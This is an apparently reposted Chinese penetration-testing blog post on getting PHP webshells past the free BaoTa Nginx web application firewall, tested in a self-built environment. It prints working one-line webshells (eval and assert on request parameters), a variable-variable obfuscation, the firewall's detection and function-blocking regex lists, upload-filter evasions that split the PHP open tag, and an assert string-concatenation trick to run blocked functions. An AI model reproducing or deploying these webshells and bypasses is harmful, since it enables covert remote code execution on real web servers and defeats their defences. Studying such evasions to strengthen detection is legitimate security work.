简简单单webshell绕过宝塔的一种方法【php】

渗透技巧 3年前 (2021) admin
2,652 0 0

前几天发了一篇绕过D盾的文章,如下


简简单单webshell绕过D盾的一种方法【php】


其实绕过宝塔的webshell,也很好绕过,也不需要对php的理解有多深入,其实往往最简单的方法就可以绕过


注意绕过的是 免费版的宝塔 nginx,收费的nginx太贵,没买


我们就来一发简简单单绕过宝塔的姿势方法。




简简单单webshell绕过宝塔的一种方法【php】

0x01 一句话

 

PHP常见的命令执行/代码执行函数如下:(这里都不一一举例了)


eval()assert()system()shell()shell_exec()exec()call_user_func()call_user_func_array()array_filter()


常用的一句话如下:


<?php eval($_POST['a']);?><?php assert(@$_POST['a']); ?>


0x02 一句话绕过宝塔



因为是自搭环境做的测试,用的是免费版的 NGINX防火墙。


简简单单webshell绕过宝塔的一种方法【php】


安装过程就不多说,点击下载即可


我们点击设置,里面有各种样式的设置,你们自己看即可


简简单单webshell绕过宝塔的一种方法【php】


注意,需要把上传后缀php给删除,如果不删除,不能上传php后缀的文件,直接拦截


简简单单webshell绕过宝塔的一种方法【php】



webshell查杀规则如下

${'_'@preg_replace((")*/(S)*/e(")*,$_POST[S*]base64_decode($_'e'.'v'.'a'.'l'"e"."v"."a"."l""e"."v"."a"."l"$(w)+("/(S)+/e(array)$_(POST|GET|REQUEST|COOKIE)$(w)+(${@$_=$_=$_chr((d)+).chr((d)+)phpjm.netcha88.cnc99shellphpspyScannerscmd.phpstr_rot13webshellEgY_SpIdErtools88.comSECFORCEeval(('|")?>preg_replace("/.*/e"assert(('|"|s*)$eval(gzinflate(gzinflate(base64_decode(eval(base64_decode(eval(gzuncompress(ies",gzuncompress($eval(gzdecode(eval(str_rot13(gzuncompress(base64_decode(base64_decode(gzuncompress(eval(('|"|s*)$_(POST|GET|REQUEST|COOKIE)assert(('|"|s*)$_(POST|GET|REQUEST|COOKIE)require(('|"|s*)$_(POST|GET|REQUEST|COOKIE)require_once(('|"|s*)$_(POST|GET|REQUEST|COOKIE)include(('|"|s*)$_(POST|GET|REQUEST|COOKIE)include_once(('|"|s*)$_(POST|GET|REQUEST|COOKIE)call_user_func(("|')assert("|')call_user_func(('|"|s*)$_(POST|GET|REQUEST|COOKIE)$_(POST|GET|REQUEST|COOKIE)[([^]]+)](('|"|s*)$_(POST|GET|REQUEST|COOKIE)[echo(file_get_contents(('|"|s*)$_(POST|GET|REQUEST|COOKIE)file_put_contents(('|"|s*)$_(POST|GET|REQUEST|COOKIE)[([^]]+)],('|"|s*)$_(POST|GET|REQUEST|COOKIE)fputs(fopen((.+),('|")w('|")),('|"|s*)$_(POST|GET|REQUEST|COOKIE)[SetHandlerapplication/x-httpd-phpphp_valueauto_prepend_file@eval(@$_($_$_=""



直接把绕过D盾用到的可变变量的方法拿过来


<?php $ww="heihei";$a = 'ww';$$a = $_GET['a'];echo eval($ww);?>



我们先测试webshell在线扫描的功能


简简单单webshell绕过宝塔的一种方法【php】



简简单单webshell绕过宝塔的一种方法【php】


很轻松就绕过了





我们在来测试上传的拦截



此时,我们通过宝塔后台,写入一个上传的接口

我这里是百度的  https://www.jb51.net/article/114025.htm,注意把type修改


简简单单webshell绕过宝塔的一种方法【php】


简简单单webshell绕过宝塔的一种方法【php】


我们上传一个比较简单的webshell


<?php eval($_GET['a']);?>


可以发现被拦截了


简简单单webshell绕过宝塔的一种方法【php】


我们上传 

正常的图片,只是把后缀修改


简简单单webshell绕过宝塔的一种方法【php】


发现还是拦截的状态,我们从后台的日志看看为什么拦截


简简单单webshell绕过宝塔的一种方法【php】



from-data 协议规范是multipart 传输数据的一种格式规范。不符合规范的将会被阻拦


满脸的??????????


最主要的是 from-data 检测关也关不了。


简简单单webshell绕过宝塔的一种方法【php】



找到作者,跟作者简单沟通了下,写死的程序,就不允许上传php(作者也是从业者)


简简单单webshell绕过宝塔的一种方法【php】


作者用lua语言开发,拦截写死,禁止php和jsp 后缀上传


简简单单webshell绕过宝塔的一种方法【php】


为了方便测试,我这边直接修改源码,进行保存


简简单单webshell绕过宝塔的一种方法【php】




然后我们直接针对内容进行测试吧。


当我在内部添加 <?php 的时候,被拦截了


简简单单webshell绕过宝塔的一种方法【php】


简简单单webshell绕过宝塔的一种方法【php】


ip 也被封锁


简简单单webshell绕过宝塔的一种方法【php】


当代码<? 不在一起或者空出现的时候,都不会拦截



111"<`?php "2";?>


简简单单webshell绕过宝塔的一种方法【php】


但是访问没解析成php


简简单单webshell绕过宝塔的一种方法【php】


< ?php echo"2";?>

简简单单webshell绕过宝塔的一种方法【php】




这个头绕过思路相信大家都有了一种方法。这个免费版本的防火墙匹配正则规则如下


ngx.re.find(part_body,[[<?php]],'ijo')






webshell上传成功后

接下来就是流量的过滤了


列如

phpinfo(); 


简简单单webshell绕过宝塔的一种方法【php】


$url = "php";$p ="info();";echo $url.$p;;


我们可以发现,这样回调下,不会拦截,但是phpinfo没执行


简简单单webshell绕过宝塔的一种方法【php】




拦截函数如下


(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)(


简简单单webshell绕过宝塔的一种方法【php】



全匹配,这些函数,我们应该怎么绕过呢?


$url = "php";$p ="info();";$c=$url.$p;assert($c);;



简简单单webshell绕过宝塔的一种方法【php】



点击  欢迎大家来报名src的课程哟 





 burp   burp 



简简单单webshell绕过宝塔的一种方法【php】


 


简简单单webshell绕过宝塔的一种方法【php】

原文始发于微信公众号(黑客街安全团队):简简单单webshell绕过宝塔的一种方法【php】

版权声明:admin 发表于 2021年10月28日 上午9:20。
转载请注明:简简单单webshell绕过宝塔的一种方法【php】 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...